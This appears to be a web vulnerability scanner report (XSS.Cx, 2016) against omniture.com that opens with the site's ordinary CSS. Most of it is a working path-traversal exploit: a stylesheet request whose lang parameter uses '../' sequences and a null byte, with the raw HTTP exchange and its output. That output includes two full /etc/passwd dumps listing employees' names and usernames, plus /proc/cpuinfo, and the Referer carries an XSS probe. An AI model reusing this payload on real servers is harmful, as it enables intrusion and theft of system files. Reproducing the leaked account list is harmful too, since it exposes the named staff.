#product_cross_link { padding: 10px 0px; border-bottom: 1px dashed #cccccc; margin-bottom: 20px; }
#email_pop { position: relative; padding-top: 10px; margin-top: 10px; border-top: 1px dashed #707070; }
#partner_confirm { border: 1px solid #707070; background-color: #eeeeee; color: #707070; font-weight: bold; padding: 15px; }
/* Genesis */
#launch_genesis_producttour { margin-left: -5px; display: block; width: 155px; height: 116px; text-indent: -9999999px; background: url('http://assets.omniture.com/en/images/skins/default/transformation/002251.producttour_icon_final_155x116_en.jpg') center no-repeat; }
.appbrowser { list-style: none; list-style-image: none; margin: 8px 0 0 0; padding: 0; float: left }
.appbrowser li { padding: 0px; margin: 0 0 0 0px }
*:first-child+html .appbrowser li { margin-left: -23px }
.appbrowser li ul { list-style: none; margin: 5px 0 0 0; padding: 0; width: 268px; border: 1px solid #cccccc; height: 120px; overflow-y: scroll }
.appbrowser li ul.first { border-right: 0px }
.appbrowser li ul li a { display: block; padding: 2px 6px }
*:first-child+html .appbrowser li li { margin-left: -5px }
.appbrowser li ul li a:hover { background: #f5f5f5; color: #454545; text-decoration: none }
.appbrowser li ul li.on a { background: #70a100; color: #FFFFFF; text-decoration: none }
.highlightedapps { margin: 20px 0 20px 0; border: 1px solid #cccccc; background: #f5f5f5 }
.highlightedapps h3#hp_header { background: #cccccc; padding: 4px 8px 5px 8px; text-transform: uppercase; font-size: 10px; margin: 0 }
.highlightedapps .hp_content { margin: 10px 10px; float: left; width: 157px }
.hp_content a { width: 160px; height: 80px; display: block; background-repeat: no-repeat; background-position: top left; margin-bottom: 8px; border: 1px solid #cccccc }
.genesis_app_details { float: right; width: 140px; border: 1px solid #cccccc; margin: 0 0 20px 20px }
.genesis_app_details .inner { padding: 8px 0px 0px 10px }
.genesis_app_details .mf_form { width: 140px }
/*001699 - D. Fairbanks*/
/*
* jQuery UI CSS Framework
* Copyright (c) 2009 AUTHORS.txt (http://ui.jquery.com/about)
* Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt) licenses.
*/
/* Modified for Omniture by D. Fairbanks */
/* Layout helpers
----------------------------------*/
.ui-helper-hidden { display: none; }
.ui-helper-hidden-accessible { position: absolute; left: -99999999px; }
.ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; }
.ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; }
.ui-helper-clearfix { display: inline-block; }
/* required comment for clearfix to work in Opera \*/
* html .ui-helper-clearfix { height:1%; }
.ui-helper-clearfix { display:block; }
/* end clearfix */
.ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); }
/* Component containers
----------------------------------*/
.ui-widget { font-family: Arial, Helvetica, sans-serif; font-size: 12px; }
/*Common Tab Styles
----------------------------------*/
.ui-tabs-hide {display: none !important;}
.ui-tabs-nav {padding: 0 !important;}
.ui-tabs-nav li {list-style-image:none; padding: 0}
.ui-tabs-panel {display: block; border: 0; background: none;}
/* Feature Tab Interaction states
----------------------------------*/
div.feature-tabs ul .ui-state-default a {color: #fff;}
div.feature-tabs ul .ui-state-active a {background-color: #46709A;}
div.feature-tabs ul .ui-state-hover a {background-color: #707070;}
div.feature-tabs ul .ui-state-default {background: none; outline: none; vertical-align: middle;}
div.feature-tabs ul .ui-state-active {border: none; outline: none;}
div.feature-tabs ul .ui-state-active a, div.feature-tabs .ui-state-default a, div.feature-tabs .ui-state-hover a {text-decoration: none; outline: none;}
/* Feature Tabs
----------------------------------*/
div.feature {border: 1px solid #c5c5c5; height: 148px; position: relative; width: 748px;}
div.feature img {vertical-align: bottom/*ie6*/;}
div.feature .ui-tabs-nav {border: none;}
div.feature .ui-tabs-nav .ui-tabs-selected {padding: 0;}
div.feature .ui-tabs-panel {padding: 0;}
div.feature-tabs {z-index: 2; width: 748px;}
div.feature-tabs, div.feature-tab-backdrop {bottom: 0; height: 25px; position: absolute;}
div.feature-tab-backdrop {background-color: #505050; width: 748px; z-index: 1;}
div.feature-tabs ul {float: left;}
div.feature-tabs ul li {display: block; float: left; font-size: 12px; height: 19px; _height: 13px/*ie6*/; margin: 0; padding: 0; text-align: center;}
div.feature-tabs ul li a {display: block; height: 100%; padding-top: 6px; width: 100%;}
div.feature-tabs ul li a.tab-success-story {width: 98px;}
div.feature-tabs ul li a.tab-success-story-2 {width: 107px;}
div.feature-tabs ul li a.tab-product-overview {width: 122px;}
div.feature-tabs ul li a.tab-product-tour {width: 102px;}
div.feature-tabs ul li a.tab-analyst-report {height: 25px; width: 111px;}
div.feature-tabs ul li a.tab-thought-leadership {width: 136px;}
div.jump-left, div.jump-right {background-repeat: no-repeat; color: #fff; float: left; font-size: 14px; height: 19px; margin: 0; padding: 6px 0 0 0; text-align: center; width: 22px;}
div.jump-left {}
div.jump-right {}
.jump-over {background-color: #707070; cursor: pointer;}
/* Default Tabs
----------------------------------*/
.ui-tabs-nav {border-bottom: 1px solid #437099; height: 26px;}
.ui-tabs-nav li {background: #d9d9d9; color: #437099; display: block; float: left; height: 16px; padding: 5px; margin-right: 4px;}
.ui-tabs-nav li.ui-tabs-selected {background: #437099; color: #fff; display: block; float: left; padding: 5px; margin-right: 4px;}
.ui-tabs-nav li.ui-tabs-selected a {color: #fff;}
.ui-tabs-panel {clear: left; padding: 10px;}
/* Default Accordion
----------------------------------*/
.ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; }
.ui-accordion .ui-accordion-li-fix { display: inline; }
.ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; }
.ui-accordion .ui-accordion-header a {color: #373737; display: block; font-size: 1em; padding: .5em .5em .5em 2.2em; }
.ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; }
.ui-accordion .ui-accordion-content { border-top: 0; display: none; margin-bottom: 2px; padding-left: 30px; position: relative; top: 1px; }
.ui-accordion .ui-accordion-content-active { display: block; }
.ui-accordion h3 {font-size: 11px;}
.ui-accordion h3.ui-state-hover a, .ui-accordion h3.ui-state-default a {border: none;}
.ui-accordion h3.ui-state-default {background: url(http://assets.omniture.com/global/images/general/collapsed.gif) left no-repeat;}
.ui-accordion h3.ui-state-active {background: url(http://assets.omniture.com/global/images/general/expanded.gif) left no-repeat;}
#col_right div.info-box h4 {font-size: 11px;}
/* /home/httpd/sites/www/htdocs/files/../../../../../../../../../../../../../../../../etc/passwd.en/style/general/global.css */
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
httpd:x:500:500:HTTPD User:/home/httpd:/bin/bash
netsaint:x:501:100:Netsaint:/home/netsaint:/bin/bash
hpsmh:x:79:79::/tmp/hpsmh:/sbin/nologin
mysql:x:502:501::/home/mysql:/bin/false
glb:x:503:502::/home/glb:/bin/bash
noc:x:600:600:NOC User:/home/noc:/bin/bash
aarona:x:601:100:Aaron Anderson:/home/aarona:/bin/bash
abarney:x:602:100:Andrew Barney:/home/abarney:/bin/bash
adevey:x:603:100:Aaron Devey:/home/adevey:/bin/bash
brandonp:x:604:100:Brandon Pulsipher:/home/brandonp:/bin/bash
brette:x:605:100:Brett Error:/home/brette:/bin/bash
csansoni:x:606:100:Charles Sansoni:/home/csansoni:/bin/bash
cwarren:x:607:100:Curt Warren:/home/cwarren:/bin/bash
jfarnsworth:x:608:100:Jason Farnsworth:/home/jfarnsworth:/bin/bash
kpatterson:x:609:100:Keith Patterson:/home/kpatterson:/bin/bash
kannas:x:610:100:Kiernan Annas:/home/kannas:/bin/bash
mashcraft:x:611:100:Mike Ashcraft:/home/mashcraft:/bin/bash
mrogers:x:612:100:Matt Rogers:/home/mrogers:/bin/bash
mstroud:x:613:100:Matt Stroud:/home/mstroud:/bin/bash
ngoyette:x:614:100:Nathan Goyette:/home/ngoyette:/bin/bash
randerson:x:615:100:Robb Anderson:/home/randerson:/bin/bash
rsimpkins:x:616:100:Ryan Simpkins:/home/rsimpkins:/bin/bash
rsteck:x:617:100:Rich Steck:/home/rsteck:/bin/bash
tshaw:x:618:100:Tyler Shaw:/home/tshaw:/bin/bash
tsmith:x:619:100:Travis Smith:/home/tsmith:/bin/bash
devportal:x:620:500::/home/omniture/devportal:/bin/bash
omniture_assets:x:621:621::/home/omniture_assets:/bin/bash
omniture_events:x:622:622::/home/omniture_events:/bin/bash
/* /home/httpd/sites/www/htdocs/files/../../../../../../../../../../../../../../../../etc/passwd.en/style/sections/products.css */
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
httpd:x:500:500:HTTPD User:/home/httpd:/bin/bash
netsaint:x:501:100:Netsaint:/home/netsaint:/bin/bash
hpsmh:x:79:79::/tmp/hpsmh:/sbin/nologin
mysql:x:502:501::/home/mysql:/bin/false
glb:x:503:502::/home/glb:/bin/bash
noc:x:600:600:NOC User:/home/noc:/bin/bash
aarona:x:601:100:Aaron Anderson:/home/aarona:/bin/bash
abarney:x:602:100:Andrew Barney:/home/abarney:/bin/bash
adevey:x:603:100:Aaron Devey:/home/adevey:/bin/bash
brandonp:x:604:100:Brandon Pulsipher:/home/brandonp:/bin/bash
brette:x:605:100:Brett Error:/home/brette:/bin/bash
csansoni:x:606:100:Charles Sansoni:/home/csansoni:/bin/bash
cwarren:x:607:100:Curt Warren:/home/cwarren:/bin/bash
jfarnsworth:x:608:100:Jason Farnsworth:/home/jfarnsworth:/bin/bash
kpatterson:x:609:100:Keith Patterson:/home/kpatterson:/bin/bash
kannas:x:610:100:Kiernan Annas:/home/kannas:/bin/bash
mashcraft:x:611:100:Mike Ashcraft:/home/mashcraft:/bin/bash
mrogers:x:612:100:Matt Rogers:/home/mrogers:/bin/bash
mstroud:x:613:100:Matt Stroud:/home/mstroud:/bin/bash
ngoyette:x:614:100:Nathan Goyette:/home/ngoyette:/bin/bash
randerson:x:615:100:Robb Anderson:/home/randerson:/bin/bash
rsimpkins:x:616:100:Ryan Simpkins:/home/rsimpkins:/bin/bash
rsteck:x:617:100:Rich Steck:/home/rsteck:/bin/bash
tshaw:x:618:100:Tyler Shaw:/home/tshaw:/bin/bash
tsmith:x:619:100:Travis Smith:/home/tsmith:/bin/bash
devportal:x:620:500::/home/omniture/devportal:/bin/bash
omniture_assets:x:621:621::/home/omniture_assets:/bin/bash
omniture_events:x:622:622::/home/omniture_events:/bin/bash
Request
GET /stylesheet.css?lang=../../../../../../../../../../../../../../../../proc/cpuinfo%00§ion=products&ignore_skin=0 HTTP/1.1
Host: style.omniture.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://www.omniture.com/en/products/online-business-optimisation?xss=9%3Cs%3E
Response
HTTP/1.1 200 OK
Server: Omniture AWS/2.0.0
/* /home/httpd/sites/www/htdocs/files/global/style/sections/../../../../../../../../../../../../../../../../proc/cpuinfo products.css */
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 15
model name : Intel(R) Xeon(R) CPU 5160 @ 3.00GHz
stepping : 11
cpu MHz : 3000.284
cache size : 4096 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 2
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc arch_perfmon pebs bts pni monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr dca lahf_lm
bogomips : 6003.65
clflush size : 64
processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 15
model name : Intel(R) Xeon(R) CPU 5160 @ 3.00GHz
stepping : 11
cpu MHz : 3000.284
cache size : 4096 KB
physical id : 0
siblings : 2
core id : 1
cpu cores : 2
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc arch_perfmon pebs bts pni monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr dca lahf_lm
bogomips : 6000.37
clflush size : 64
processor : 2
vendor_id : GenuineIntel
cpu family : 6
model : 15
model name : Intel(R) Xeon(R) CPU 5160 @ 3.00GHz
stepping : 11
cpu MHz : 3000.284
cache size : 4096 KB
physical id : 3
siblings : 2
core id : 0
cpu cores : 2
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc arch_perfmon pebs bts pni monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr dca lahf_lm
bogomips : 6000.43
clflush size : 64
processor : 3
vendor_id : GenuineIntel
cpu family : 6
model : 15
model name : Intel(R) Xeon(R) CPU 5160 @ 3.00GHz
stepping : 11
cpu MHz : 3000.284
cache size : 4096 KB
physical id : 3
siblings : 2
core id : 1
cpu cores : 2
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc arch_perfmon pebs bts pni monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr dca lahf_lm
bogomips : 6000.41
clflush size : 64
Report generated by XSS.Cx v1.6.33, at Fri Jan 15 14:21:40 EST 2016.